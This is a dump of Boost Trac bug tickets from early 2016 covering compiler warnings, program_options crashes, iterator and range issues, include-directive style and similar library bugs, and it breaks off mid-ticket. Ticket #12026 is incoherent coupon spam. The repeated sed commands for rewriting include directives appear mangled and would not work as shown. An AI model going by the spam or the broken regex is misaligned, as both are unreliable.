I attached this partition to my linux box and mounted it to /media/sk1ff/EEBEDC27BEDBE65D/. So, when I execute the following simple piece of code:

  fs::directory_iterator it("/media/sk1ff/EEBEDC27BEDBE65D/test"), dir_end;
  for (; it != dir_end; ++it)
  {
    std::cout << it->path() << std::endl;
  }

it falls into an infinite loop.

#12078: Warnings in boost/core/swap.hpp when using nvcc

Sat, 19 Mar 2016 16:00:54 GMT

I get the following warning when I compile .cu files which uses the boost/core/swap.hpp file:

~/sw/boost/include/boost/core/swap.hpp(36): warning: calling a __host__ function from a __host__ __device__ function is not allowed
          detected during:
            instantiation of "void boost_swap_impl::swap_impl(T &, T &) [with T=boost::signals2::detail::foreign_shared_ptr_impl_base *]"
(56): here
            instantiation of "void boost::swap(T1 &, T2 &) [with T1=boost::signals2::detail::foreign_shared_ptr_impl_base *, T2=boost::signals2::detail::foreign_shared_ptr_impl_base *]"
~/sw/boost/include/boost/signals2/detail/foreign_ptr.hpp(111): here

I get this even with the most recent git version (commit 3a94cde). The attached program gives this error when compiling like this:

nvcc -I ~/sw/boost/include test_swap.cu

I use CUDA 7.5 and g++ 4.9.2.

#12077: gcc: error: CreateProcess: No such file or directory

james@… — Sat, 19 Mar 2016 15:02:22 GMT

C:\Users\James\code\boost\v1_60>bootstrap.bat gcc
Building Boost.Build engine
gcc: error: CreateProcess: No such file or directory
Failed to build Boost.Build engine.

gcc is in my path

C:\Users\James\code\boost\v1_60>gcc -v
Using built-in specs.
COLLECT_GCC=gcc
Target: mingw32
Configured with: ../../../src/gcc-4.9.2/configure --build=mingw32 --enable-
...
Thread model: posix
gcc version 4.9.2 (tdm-1)

here is the log

###
### Using 'gcc' toolset.
###
C:\Users\James\code\boost\v1_60\tools\build\src\engine>if exist bootstrap rd /S /Q bootstrap
C:\Users\James\code\boost\v1_60\tools\build\src\engine>md bootstrap
C:\Users\James\code\boost\v1_60\tools\build\src\engine>gcc -DNT -o bootstrap\jam0.exe  command.c compile.c constants.c debug.c execcmd.c execnt.c filent.c frames.c function.c glob.c hash.c hdrmacro.c headers.c jam.c jambase.c jamgram.c lists.c make.c make1.c object.c option.c output.c parse.c pathnt.c pathsys.c regexp.c rules.c scan.c search.c subst.c timestamp.c variable.c modules.c strings.c filesys.c builtins.c md5.c class.c cwd.c w32_getreg.c native.c modules/set.c modules/path.c modules/regex.c modules/property-set.c modules/sequence.c modules/order.c
C:\Users\James\code\boost\v1_60\tools\build\src\engine>exit /b 1

#12073: Why read callback not call

zhjie007@… — Thu, 17 Mar 2016 01:45:12 GMT

I write a simple test server but meet a strange problem.

In my test server, I start a 10 threads pool to run io_service.run function.

I created a boost::asio::ip::tcp::acceptor object and call 'listen' function, final call 'async_accept' to start a asynchronous operation. Then if a client connect to server, the accept callback function will be called. In accept callback function, I do three thing: 1, create a boost::asio::strand object 2, create a boost::asio::deadline_timer object to set timeout, if the client does not send any data for 5 seconds, the timer callback will be called. In this timer callback, the server will send a hearbeat request to client and expect to receive a hearbeat response from the client. 3, call async_read_some to set read callback function.

Of cause 'async_wait' in step 2 and 'async_read_some' call in step 3 are both wrapper in strand object which is created in step 1.

To test this server, I write a demo python client. This demo client just connect to server and send hearbeat request to server, then expect to receive a hearbeat response. I set a crontab task to call this demo python client every one minute. The most tests are OK, but the test would random fail.

Everytime it failed, I have checked the output of tcpdump on server, the server successfully receives the hearbeat request, but the read callback function is not called.

So why the read callback function is not called just when the hearbeat request is received. It looks like the read event is missing, is it about edge trigger in epoll?

This random failure could reproduce on both CentOS 6.5 and CentOS 6.6, the boost version is boost 1.48.0, the compiler is gcc 4.4.7.

Does anyone meet this bug?

#12071: Using iterator_facade with range-v3 fails to compile

Wed, 16 Mar 2016 15:36:58 GMT

The fact that postfix_increment_proxy is not DefaultConstructible and doesn't have a nested public value_type makes iterators unusable with range-v3, which check the concepts.

Example:

#include "boost/iterator/iterator_facade.hpp"
#include "range/v3/utility/iterator.hpp"
template <class V, class Category>
class TestIter
    : public boost::iterator_facade<TestIter<V, Category>, V, Category, V> {
 public:
  using typename boost::iterator_facade<TestIter<V, Category>, V, Category,
                                        V>::difference_type;
  TestIter() : v_() {}
  explicit TestIter(V v) : v_(v) {}
 private:
  friend class boost::iterator_core_access;
  V dereference() const { return v_; }
  bool equal(const TestIter& other) const { return v_ == other.v_; }
  void increment() { ++v_; }
  void decrement() { --v_; }
  void advance(difference_type n) { v_ += n; }
  difference_type distance_to(const TestIter& other) const {
    return other.v_ - v_;
  }
  V v_;
};
using InIter = TestIter<int, std::input_iterator_tag>;
static_assert(ranges::InputIterator<InIter>(), "");
void f(InIter x) {
  static_assert(ranges::Readable<decltype(x++)>(), "");
  static_assert(ranges::DefaultConstructible<decltype(x++)>(), "");
}

I think static_assert(ranges::InputIterator<InIter>(), "") fails, because the two static_asserts in f() fail.

From what I've learned here: https://github.com/ericniebler/range-v3/issues/304 it seems a good idea to fix postfix_increment_proxy to conform to these requirements. Ditto writable_postfix_increment_proxy.

#12069: hexfloat not respected for float128

Wed, 16 Mar 2016 06:08:54 GMT

Here's an example program:

#include <boost/multiprecision/float128.hpp>
#include <boost/version.hpp>
#include <iostream>
#include <iomanip>
template<typename Float>
void test()
{
    std::cout << std::hexfloat << Float(1.3516809557473623e+236Q) << "\n";
}
int main()
{
    std::cout << "boost " BOOST_LIB_VERSION << "\n";
    test<double>();
    test<boost::multiprecision::float128>();
}

Its output is

boost 1_60
0x1.5417c8p+784
1.351681e+236

while in both cases hexadecimal format was requested. Here second and third lines should be identical.

#12068: boost::filtered_range is not default constructible

Mon, 14 Mar 2016 15:50:49 GMT

Filtered_range is not default_constructible which makes it impossible to (for example) put it into a class that has to be default-initialized and resets it (filtered_range) later.

I'm quite new to boost internals, but I fail to see any drawbacks of adding the default constructor:

--- include/boost/range/adaptor/filtered.hpp.orig 2016-03-14 15:26:32.228892237 +0100 +++ include/boost/range/adaptor/filtered.hpp 2016-03-14 15:26:28.724846102 +0100 @@ -41,6 +41,8 @@

typedef typename default_constructible_unary_fn_gen<P, bool>::type

pred_t;

+ filtered_range() {} +

filtered_range(P p, R& r) : base(make_filter_iterator(pred_t(p),

boost::begin(r), boost::end(r)),

#12067: polygon/voronoi missing edges

n4tivex@… — Mon, 14 Mar 2016 14:28:52 GMT

For the following input to the voronoi builder (or the voronoi visualizer from the examples dir, from which the attached image was generated)

I expect the red edge to be present on the lefthand side of the attached image. Instead there is no edge. The green edge on the right hand side, however, is present.

#12065: Boost program options throws an exception

Sat, 12 Mar 2016 20:21:58 GMT

Linux 3.19.0-51-generic #58-Ubuntu SMP Fri Feb 26 21:22:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux Ubuntu 15.04

Boost 1.59

po::options_description desc("Allowed options"); desc.add_options()

("help,h", "produce help message") ("query,", po::value<std::string>(), "query for the search in the index") ("out,", po::value<std::string>(), "output file for commits parsing")

;

po::positional_options_description p; p.add("verb", -1);

po::variables_map vm; po::store(po::command_line_parser(ac, av).

options(desc).positional(p).run(), vm);

po::notify(vm);

This snippet will throw an exception in the line options(desc).positional(p).run(), vm);

This code works well with boost_1.55

#12063: boost include directives use double quotes incorrectly

John Maddock — Sat, 12 Mar 2016 18:06:51 GMT

Extracted from issue https://svn.boost.org/trac/boost/ticket/11516:

Many Boost headers use double-quoted include directives with paths that are not relative to the current header file. For example, this is an excerpt from boost/aligned_storage.hpp:

#include "boost/config.hpp" #include "boost/detail/workaround.hpp"

This will cause the full search path to be searched for the given files, even the directories supposedly local to the application (set via -iquote option on GCC/Clang), which can make local files interfere with Boost, especially if there's some part in the local project that is also called "boost"...

See a full list of offending directives via:

find /usr/include/boost -type f -exec grep '#.*"boost/' {} +

As can be seen in boost/any.hpp, this might even be intentional for boost/config.hpp, but this is surely not intended for any other file. Handling of boost/config.hpp is not uniform, however; see for example boost/limits.h, which includes config.hpp via angle-quotes.

This bug report does not address double-quoted include directives with header-relative paths, as used copiously by Boost Spirit, for example. These work fine on GCC/Clang and do not interact with local code (but see #3762).

I suggest to change all include directives to a uniform style in order to eliminate interference of local files. The easiest and least-invasive solution would be to change double quotes to angle brackets, something along the lines of

find /usr/include/boost -type f -exec sed -i~ -e 's/$#.* $"$boost\/.*$"/\1<\2>/' {} +

(warning: search-and-destroy capability; this also updates #defines that are used later in #include directives)

After applying this command, my code still compiles and passes all unit tests, but strace confirms that project-local include directories are no longer searched, except for boost/mpl/aux_/preprocessed/gcc/*.hpp, which is due to some stringification macro magic in boost/mpl/aux_/include_preprocessed.hpp. That's probably obscure enough to not matter in practice.

#12062: boost include directives use double quotes incorrectly

John Maddock — Sat, 12 Mar 2016 18:06:18 GMT

Extracted from issue https://svn.boost.org/trac/boost/ticket/11516:

Many Boost headers use double-quoted include directives with paths that are not relative to the current header file. For example, this is an excerpt from boost/aligned_storage.hpp:

#include "boost/config.hpp" #include "boost/detail/workaround.hpp"

See a full list of offending directives via:

find /usr/include/boost -type f -exec grep '#.*"boost/' {} +

find /usr/include/boost -type f -exec sed -i~ -e 's/$#.* $"$boost\/.*$"/\1<\2>/' {} +

(warning: search-and-destroy capability; this also updates #defines that are used later in #include directives)

#12061: boost include directives use double quotes incorrectly

John Maddock — Sat, 12 Mar 2016 18:05:03 GMT

Extracted from issue https://svn.boost.org/trac/boost/ticket/11516:

Many Boost headers use double-quoted include directives with paths that are not relative to the current header file. For example, this is an excerpt from boost/aligned_storage.hpp:

#include "boost/config.hpp" #include "boost/detail/workaround.hpp"

See a full list of offending directives via:

find /usr/include/boost -type f -exec grep '#.*"boost/' {} +

find /usr/include/boost -type f -exec sed -i~ -e 's/$#.* $"$boost\/.*$"/\1<\2>/' {} +

(warning: search-and-destroy capability; this also updates #defines that are used later in #include directives)

#12060: boost include directives use double quotes incorrectly

John Maddock — Sat, 12 Mar 2016 18:03:45 GMT

Extracted from issue https://svn.boost.org/trac/boost/ticket/11516:

Many Boost headers use double-quoted include directives with paths that are not relative to the current header file. For example, this is an excerpt from boost/aligned_storage.hpp:

#include "boost/config.hpp" #include "boost/detail/workaround.hpp"

See a full list of offending directives via:

find /usr/include/boost -type f -exec grep '#.*"boost/' {} +

find /usr/include/boost -type f -exec sed -i~ -e 's/$#.* $"$boost\/.*$"/\1<\2>/' {} +

(warning: search-and-destroy capability; this also updates #defines that are used later in #include directives)

#12058: boost include directives use double quotes incorrectly

John Maddock — Sat, 12 Mar 2016 18:01:10 GMT

Extracted from issue https://svn.boost.org/trac/boost/ticket/11516:

Many Boost headers use double-quoted include directives with paths that are not relative to the current header file. For example, this is an excerpt from boost/aligned_storage.hpp:

#include "boost/config.hpp" #include "boost/detail/workaround.hpp"

See a full list of offending directives via:

find /usr/include/boost -type f -exec grep '#.*"boost/' {} +

find /usr/include/boost -type f -exec sed -i~ -e 's/$#.* $"$boost\/.*$"/\1<\2>/' {} +

(warning: search-and-destroy capability; this also updates #defines that are used later in #include directives)

#12056: boost include directives use double quotes incorrectly

John Maddock — Sat, 12 Mar 2016 17:58:54 GMT

Extracted from issue https://svn.boost.org/trac/boost/ticket/11516:

Many Boost headers use double-quoted include directives with paths that are not relative to the current header file. For example, this is an excerpt from boost/aligned_storage.hpp:

#include "boost/config.hpp" #include "boost/detail/workaround.hpp"

See a full list of offending directives via:

find /usr/include/boost -type f -exec grep '#.*"boost/' {} +

find /usr/include/boost -type f -exec sed -i~ -e 's/$#.* $"$boost\/.*$"/\1<\2>/' {} +

(warning: search-and-destroy capability; this also updates #defines that are used later in #include directives)

#12055: boost include directives use double quotes incorrectly

John Maddock — Sat, 12 Mar 2016 17:58:19 GMT

Extracted from issue https://svn.boost.org/trac/boost/ticket/11516:

Many Boost headers use double-quoted include directives with paths that are not relative to the current header file. For example, this is an excerpt from boost/aligned_storage.hpp:

#include "boost/config.hpp" #include "boost/detail/workaround.hpp"

See a full list of offending directives via:

find /usr/include/boost -type f -exec grep '#.*"boost/' {} +

find /usr/include/boost -type f -exec sed -i~ -e 's/$#.* $"$boost\/.*$"/\1<\2>/' {} +

(warning: search-and-destroy capability; this also updates #defines that are used later in #include directives)

#12054: boost include directives use double quotes incorrectly

John Maddock — Sat, 12 Mar 2016 17:57:30 GMT

Extracted from issue https://svn.boost.org/trac/boost/ticket/11516:

Many Boost headers use double-quoted include directives with paths that are not relative to the current header file. For example, this is an excerpt from boost/aligned_storage.hpp:

#include "boost/config.hpp" #include "boost/detail/workaround.hpp"

See a full list of offending directives via:

find /usr/include/boost -type f -exec grep '^{#.*"boost/' {} +}

find /usr/include/boost -type f -exec sed -i~ -e 's/^{$#.* $"$boost\/.*$"/\1<\2>/' {} +}

(warning: search-and-destroy capability; this also updates #defines that are used later in #include directives)

#12051: offset_ptr is saved incorrectly on win32

anonymous — Fri, 11 Mar 2016 15:44:42 GMT

I'm using offset_ptr<void , boost::int32_t, boost::uint64_t> to work with one mapped file from x32 and x64 process. Binary representation of offset_ptr is supposed to be same for 32 and 64 bit process.

In attached example I simply create mapped file and it has different content on win32 depending on boost library version. It is offset_ptr stored differently:

on x64:
f8ff ffff ffff ffff - for any version

on win32:
f8ff ffff ffff ffff - boost version < 1.52
f8ff ffff 0000 0000 - boost version >= 1.52 - this is bug

This behavior causes crash if I save data from x32 process and then open it from x64 process. Luckily offset_ptr.hpp header from boost 1.51 works in 1.60, but it's hardly a solution...

Can you guys make offset_ptr 32/64 compatible again?

Thanks,
Eugene

#12048: Deprecated libstdc++ header used in adjacency_list.hpp

friedrich.grabner@… — Wed, 09 Mar 2016 13:40:31 GMT

Hi I'm using the reverse cuthill-mckee library to reorder some matrices...

Anyhow I keep getting the following error:

In file included from /usr/include/c++/4.4.7/backward/hash_set(60),

from /usr/include/boost/graph/adjacency_list.hpp(25), from main.cpp(6):

/usr/include/c++/4.4.7/backward/backward_warning.h(28): warning #1224: #warning directive: This file includes at least one deprecated or antiquated header which may be removed without further notice at a future date. Please use a non-deprecated interface with equivalent functionality instead. For a listing of replacement headers and interfaces, consult the file backward_warning.h. To disable this warning use -Wno-deprecated.

#warning \

Obviously if I use -Wno-deprecated this goes away but is there a fix I am using Boost 1.59.0

Thanks, Friedrich Grabner

#12046: Error of fatal error: quadmath.h: - Rhel7

abdul.p78@… — Tue, 08 Mar 2016 05:32:50 GMT

Team, I am facing an error as below while compiling the boost_1.60.0 in Rhel7 OS ./boost/math/special_functions/fpclassify.hpp:84:22: fatal error: quadmath.h: No such file or directory

#include "quadmath.h"

compilation terminated.

Please let us know how we can fix this as there is not much fix when i browsed. Is that because of any package missing ?

#12045: Bug in condition_algorithm_8a::wait when using timed wait

yochait@… — Mon, 07 Mar 2016 11:13:46 GMT

There's a bug in condition_algorithm_8a<ConditionMembers>::wait In the beginning of the method it's using data.get_sem_block_lock().wait();

This may cause the wait to wait forever, even if you're using the timed wait version of the method.

Happens to me when a "Client" process holds the lock and then dies, this causes the wait() to wait forever. What should have happened, is the it would time out, and then i could detect the failure, and do something about it.

#12041: fusion::traits for proxy types

jensweller@… — Fri, 04 Mar 2016 16:25:52 GMT

This ticket has its origin in this thread: http://lists.boost.org/Archives/boost/2016/03/228115.php

When working in generic code, one cannot determine if the underlying fusion::vector or other containers are containing a proxy type or not.

E.g. fusion::result_of::at_c<Seq, I>::type requires an extra ::type, while this will likely error on normal fusion types. It would be nice to be able to seperate these by a enable_if into seperate methods.

This is related to ADAPT_STRUCT and ADAPT_STRUCT_ADT usage, _ADT structs will result in using proxies in the type vectors.

#12040: The result of compilation relies upon the inclusion order of grep_serialize.hpp and gregorian.hpp

laurent.stacul@… — Thu, 03 Mar 2016 18:04:24 GMT

The compilation success of a program should not rely upon the order in which a developer includes the headers.

This is unfortunately the case when we want to serialize an object in which one of its member is a boost::gregorian::date.

For the time being, a developer must include <boost/date_time/gregorian/gregorian.hpp> before <boost/date_time/gregorian/grep_serialize.hpp> otherwise the following error is thrown (with gcc, but it is reproduceable in clang):

[18:34]stac@macdebian:~/development/cpp-sandbox/boost>g++ --std=c++14 -g -I$HOME/development/date_time/include -lboost_serialization -lboost_date_time serialization.cpp
In file included from serialization.cpp:6:0:
/home/stac/development/date_time/include/boost/date_time/gregorian/greg_serialize.hpp: In function ‘void boost::serialization::save(Archive&, const boost::gregorian::date&, unsigned int)’:
/home/stac/development/date_time/include/boost/date_time/gregorian/greg_serialize.hpp:59:35: error: there are no arguments to ‘to_iso_string’ that depend on a template parameter, so a declaration of ‘to_iso_string’ must be available [-fpermissive]
   std::string ds = to_iso_string(d);
                                   ^
/home/stac/development/date_time/include/boost/date_time/gregorian/greg_serialize.hpp:59:35: note: (if you use ‘-fpermissive’, G++ will accept your code, but allowing the use of an undeclared name is deprecated)
zsh: exit 1     g++ --std=c++14 -g -I$HOME/development/date_time/include -lboost_serializatio

Current architecture: Linux macdebian 4.3.0-1-amd64 #1 SMP Debian 4.3.5-1 (2016-02-06) x86_64 GNU/Linux

Compilers: gcc: g++ (Debian 5.3.1-8) 5.3.1 20160205

clang: Debian clang version 3.6.2-3 (tags/RELEASE_362/final) (based on LLVM 3.6.2) Target: x86_64-pc-linux-gnu Thread model: posix

A solution could be to forward declare the boost::gregorian::to_iso_string(const boost::gregorian::date&) in greg_serialize.hpp. Or to include gregorian/formatters[_limited].hpp

Remark: This problem does not occur with posix_time.

#12038: Max-flow algorithms not working with named parameters.

Wed, 02 Mar 2016 14:56:52 GMT

The named parameter called "edge capacity" is not working. As explained at the end of #8791, this is due to a slight inversion:

The line in boost/graph/named_function_params.hpp:326

typedef typename detail::choose_iml_result<boost::mph::true_, Graph, typename get_param_type<Params, edge_capacity_t>::type, edge_capacity_t>::type CapacityEdgeMap;

should rather be

typedef typename detail::choose_iml_result<boost::mph::true_, Graph, typename get_param_type<edge_capacity_t, Params>::type, edge_capacity_t>::type CapacityEdgeMap;

Here are the max-flow algorithms that are currently not working with the named parameter "Edge Capacity":

edmonds_karp_max_flow,
push_relabel_max_flow,
boykov_kolmogorov_max_flow.

Minimal not-working example:

#include <boost/config.hpp>
#include <iostream>
#include <string>
#include <boost/graph/edmonds_karp_max_flow.hpp>
#include <boost/graph/adjacency_list.hpp>
#include <boost/graph/read_dimacs.hpp>
#include <boost/graph/graph_utility.hpp>
#include <boost/graph/find_flow_cost.hpp>
using namespace boost;
typedef adjacency_list_traits<vecS,vecS,directedS> traits;
struct edge_t {
        double capacity;
        float cost;
        float residual_capacity;
        traits::edge_descriptor reversed_edge;
};
struct node_t {
        std::string name;
        boost::default_color_type color;
        traits::edge_descriptor predecessor;
};
typedef adjacency_list < listS, vecS, directedS, node_t, edge_t > Graph;
int main()
{
        Graph g;
        property_map < Graph, double edge_t::* >::type capacity = get(&edge_t::capacity, g);
        property_map < Graph, float edge_t::* >::type cost = get(&edge_t::cost, g);
        property_map < Graph, float edge_t::* >::type residual_capacity = get(&edge_t::residual_capacity, g);
        property_map < Graph, traits::edge_descriptor edge_t::* >::type rev = get(&edge_t::reversed_edge, g);
        property_map < Graph, std::string node_t::* >::type name = get(&node_t::name, g);
        property_map < Graph, boost::default_color_type node_t::* >::type col = get(&node_t::color, g);
        property_map < Graph, traits::edge_descriptor node_t::* >::type pred = get(&node_t::predecessor, g);
        traits::vertex_descriptor s, t;
        read_dimacs_max_flow(g, capacity, rev, s, t);
        // XXX The "named parameter version" (producing errors)
        // XXX I chose to show the error with edmonds_karp_max_flow().
        flow = edmonds_karp_max_flow(g, s, t,
                        capacity_map(capacity)
                        .residual_capacity_map(residual_capacity)
                        .reverse_edge_map(rev)
                        .color_map(col)
                        .predecessor_map(pred));
        return EXIT_SUCCESS;
}

#12037: boost::program_options tests cannot be built for both release and debug variants at the same time

Tue, 01 Mar 2016 18:06:24 GMT

On Windows 7: boost::program_options tests cannot be built for both release and debug variants at the same time.

Running b2 libs/program_options/test variant=release,debug results in:

Performing configuration checks
    - 32-bit                   : yes (cached)
    - arm                      : no  (cached)
    - mips1                    : no  (cached)
    - power                    : no  (cached)
    - sparc                    : no  (cached)
    - x86                      : yes (cached)
    - symlinks supported       : no  (cached)
    - junctions supported      : yes (cached)
    - hardlinks supported      : yes (cached)
error: Name clash for '<p..\..\..\bin.v2\libs\program_options\test\msvc-12.0\debug\link-static\threading-multi>test_convert.exe'
error:
error: Tried to build the target twice, with property sets having
error: these incompatible properties:
error:
error:     -  <define>NDEBUG
error:     -  none
error:
error: Please make sure to have consistent requirements for these
error: properties everywhere in your project, especially for install
error: targets.

The tests can be built without problem if doing one variant after the other (two separate calls, one for release, one for debug).

(This issue is present in the current "develop" branch, as well as in the 1.60 release)

#12035: Please add constexpr and noexcept qualifiers

Domagoj Šarić — Tue, 01 Mar 2016 13:00:43 GMT

where applicable (similarly to what string_ref offers)...

#12034: missing qualifier for sprintf in numeric/odeint/integrate/max_step_checker.hpp

Tue, 01 Mar 2016 03:45:50 GMT

Compiling libs/numeric/odeint/test/stepper_with_units.cpp and several other tests with Oracle Solaris Studio 12.5 we see the following error:

"../boost/numeric/odeint/integrate/max_step_checker.hpp", line 72: Error: The function "sprintf" must have a prototype. "../boost/numeric/odeint/integrate/max_step_checker.hpp", line 104: Error: The function "sprintf" must have a prototype.

sprintf needs to be qualified with std::

#12033: Boostdep misses some dependent components

edaskel@… — Mon, 29 Feb 2016 21:33:12 GMT

In creating a modular boost build for a client I found that boostdep was missing a few smaller libraries when tracing the dependencies. The library msm depends on fusion, which depends on utility, but boostdep does not list "utility" as among the depdencies of msm.

For a test case, try building libs/msm/doc/HTML/examples/SimpleTutorial.cpp using a version of Boost with only the submodules listed as dependencies of msm. It should complain about not finding boost/utility/result_of.hpp

#12032: boost::system::error_code bug?

Falven2000@… — Mon, 29 Feb 2016 20:55:16 GMT

On Windows, attempting to call read or write before calling connect returns boost::system::error_code (expected behavior) with value 10057 (unexpected value), rather than boost::system::errc::not_connected (expected value). 10057 is windows sockets error WSAENOTCONN.

#12030: boost iostreams documentation misstates filtering_streambuf typedef

Sun, 28 Feb 2016 15:39:35 GMT

This report concerns iostreams documentation.

The documentation for class template filtering_streambuf misstates the name of four typedefs:

From the filtering_streambuf documentation page:

typedef filtering_streambuf<input>    filtering_istream;
typedef filtering_streambuf<output>   filtering_ostream;
typedef filtering_wstreambuf<input>   filtering_wistream;
typedef filtering_wstreambuf<output>  filtering_wostream;

This page is part of the reachable from the Reference section, under Classes.

This conflicts with, and is probably the result of a copy-paste from, the documentation of the filtering_stream class template. From the filtering_stream documentation:

typedef filtering_stream<input>    filtering_istream;
typedef filtering_stream<output>   filtering_ostream;
typedef filtering_wstream<input>   filtering_wistream;
typedef filtering_wstream<output>  filtering_wostream;

The filtering_streambuf documentation page should be changed to match the actual typedefs in the source code, which very sensibly have the form "filtering_istreambuf", etc. From boost/1.60.0/include/boost/iostreams/filtering_streambuf.hpp:

typedef filtering_streambuf<input>    filtering_istreambuf;
typedef filtering_streambuf<output>   filtering_ostreambuf;
typedef filtering_wstreambuf<input>   filtering_wistreambuf;
typedef filtering_wstreambuf<output>  filtering_wostreambuf;

#12026: using this coupon

christiezimmermann@… — Sat, 27 Feb 2016 10:43:53 GMT

Company devotion could cost you alot, consequently think about stepping out of your safe place each on occasion. Terminated coupons usually are in the centre of the month as well as the end-of the month. You must set aside one-day each week wherever you really concentrate on your couponing work.

Many couponers save 50% or more on the grocery expenses by employing straightforward and timetested practices. You could possibly undoubtedly uncover a complete couple of deals supplied from huge-called stores. You get Swiffer deals that provide excellent discounts but aren't helpful go to this website anyone.

#12022: CRT optimised powm()

Domagoj Šarić — Fri, 26 Feb 2016 10:29:02 GMT

multiprecision::powm() with unchecked uints is _much_ slower (i.e. I actually perceive the time it takes for the function to return on an 4GHz i5 in release builds) than say the equivalent libtomcrypt/math operation. I'm guessing the major reason for this is the CRT[1] optimisation (or lack thereof in multiprecision). So, can you implement a CRT 'enabled' powm overload (I presume this would also require a function for factoring a large multiprecision uint into to dp, dq, etc. factors)?

[1] https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Using_the_Chinese_remainder_algorithm http://crypto.stackexchange.com/questions/2575/chinese-remainder-theorem-and-rsa

#12019: Conversion from unique_ptr to shared_ptr is too broad

Thu, 25 Feb 2016 21:24:34 GMT

The following program doesn't compile because the foo overload is ambiguous. This applies if boost::movelib::unique_ptr is used as well. It works if std::shared_ptr is used instead of boost::shared_ptr.

$ cat foo.cpp #include <boost/shared_ptr.hpp> #include <memory>

using boost::shared_ptr; using std::unique_ptr; using std::make_unique;

template <typename T> class Provider { };

template <typename T> void foo(shared_ptr<T> ptr) { }

template <typename T> void foo(unique_ptr<Provider<T>> ptr) { }

class IntProvider : public Provider<int> { };

void bar() {

foo<int>(make_unique<IntProvider>());

} $ g++ -std=c++14 -c foo.cpp foo.cpp: In function ‘void bar()’: foo.cpp:24:38: error: call of overloaded ‘foo(std::_MakeUniq<IntProvider>::single_object)’ is ambiguous

foo<int>(make_unique<IntProvider>());

foo.cpp:13:6: note: candidate: void foo(boost::shared_ptr<X>) [with T = int]

void foo(shared_ptr<T> ptr)

foo.cpp:17:6: note: candidate: void foo(std::unique_ptr<Provider<T> >) [with T = int]

void foo(unique_ptr<Provider<T>> ptr)

The boost::shared_ptr<T> taking unique_ptr<Y, D> should be SFINAE'd away when unique_ptr<Y, D>::pointer isn't convertible to T*.

The std::shared_ptr DR is #2399: http://www.open-std.org/jtc1/sc22/wg21/docs/lwg-defects.html#2399

#12018: rounded_arith_opp doesn't work in Release configuration under msvc 14

peter.azmanov@… — Thu, 25 Feb 2016 14:37:18 GMT

Interval calculations with rounded_arith_opp in Release under msvc 14 result in zero-size intervals.

It seems that compiler optimizes too much, e.g. in

BOOST_UP_NEG(x / (-y));

it moves minus operation and calculates something like

BOOST_UP_NEG(-(x / y));

which returns the same result as

BOOST_UP(x / y);

It looks more like compiler bug. Attached patch is a workaround which solves the issue.

Tested on x64 platform with /fp:strict and /fp:precise under MS Visual Studio Community 2015 Version 14.0.24720.00 Update 1.

#12017: Segfault with Boost program_options 1.60 debug libraries on OSX

anonymous — Wed, 24 Feb 2016 17:24:26 GMT

Hi,

I'm using Boost 1.60.0_1 (installed from Brew) and am trying to compile the following file:

//mytest.cpp:
#include <boost/program_options.hpp>
#include <string>
namespace po = boost::program_options;
int main(int argc, char *argv[])
{
    po::variables_map vm;
    po::options_description desc;
    desc.add_options()
    ("test,t", po::value<std::string>()->default_value("something"))
    ;
    po::store(po::parse_command_line(argc, argv, desc), vm);
    po::notify(vm);
    return 0;
}

I'm using CMake to compile. When compiling in Release mode, everything works fine. But when compiling in Debug mode, i get a segfault in the store() function when I run the program without the -t option:

(lldb) bt
* thread #1: tid = 0x5f2ad5, 0x000000010001b9c3 mytest`boost::program_options::value_semantic_codecvt_helper<char>::parse(boost::any&, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&, bool) const [inlined] std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > >::size(this=0xffffffffffffffd5 size=0) const at vector:653, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xffffffffffffffd5)
  * frame #0: 0x000000010001b9c3 mytest`boost::program_options::value_semantic_codecvt_helper<char>::parse(boost::any&, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > > const&, bool) const [inlined] std::__1::vector<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > > >::size(this=0xffffffffffffffd5 size=0) const at vector:653
    frame #1: 0x000000010001b9c3 mytest`boost::program_options::value_semantic_codecvt_helper<char>::parse(this=0x0000000100103740, value_store=0x00007fff5fbff408, new_tokens=size=0, utf8=<unavailable>) const + 51 at value_semantic.cpp:45
    frame #2: 0x000000010001934d mytest`boost::program_options::store(options=0x00007fff5fbff5c8, xm=0x00007fff5fbff6c8, utf8=<unavailable>) + 1207 at variables_map.cpp:125
    frame #3: 0x0000000100000cad mytest`main + 445
    frame #4: 0x00007fff92a5e5ad libdyld.dylib`start + 1

I noticed this happens only if the binary is linked with the static debug libraries, i.e libboost_program_options-d.a and libboost_program_options-mt-d.a. To reproduce without CMake:

$  c++ mytest.cpp -I/usr/local/include /usr/local/lib/libboost_program_options-d.a -o mytest && ./mytest
[1]    83707 segmentation fault  ./mytest
$  c++ mytest.cpp -DDEBUG -I/usr/local/include /usr/local/lib/libboost_program_options-d.a -o mytest && ./mytest
[1]    83709 segmentation fault  ./mytest

It crashes only when run without the -t argument; If I provide it, it works fine:

$ ./mytest -t test

It does not crash when linked statically with a non-debug library:

$ c++ mytest.cpp -DDEBUG -I/usr/local/include /usr/local/lib/libboost_program_options.a -o mytest && ./mytest
$ c++ mytest.cpp -DDEBUG -I/usr/local/include /usr/local/lib/libboost_program_options-mt.a -o mytest && ./mytest

Or when linked dynamically with one of the shared libraries:

$ c++ mytest.cpp -I/usr/local/include /usr/local/opt/boost/lib/libboost_program_options.dylib -o mytest && ./mytest
$ c++ mytest.cpp -I/usr/local/include /usr/local/opt/boost/lib/libboost_program_options-mt.dylib -o mytest && ./mytest

The only workaround I found in order to compile a working debug binary with CMake is to use -DBoost_USE_STATIC_RUNTIME=ON because for some reason it tells the compiler to link with the shared library).

#12015: OperationalError: database is locked

Andrey Semashev — Tue, 23 Feb 2016 10:44:37 GMT

How to Reproduce

While doing a POST operation on /query, Trac issued an internal error.

(please provide additional details here)

Request parameters:

{'0_component': u'parameter',
 '0_component_mode': u'',
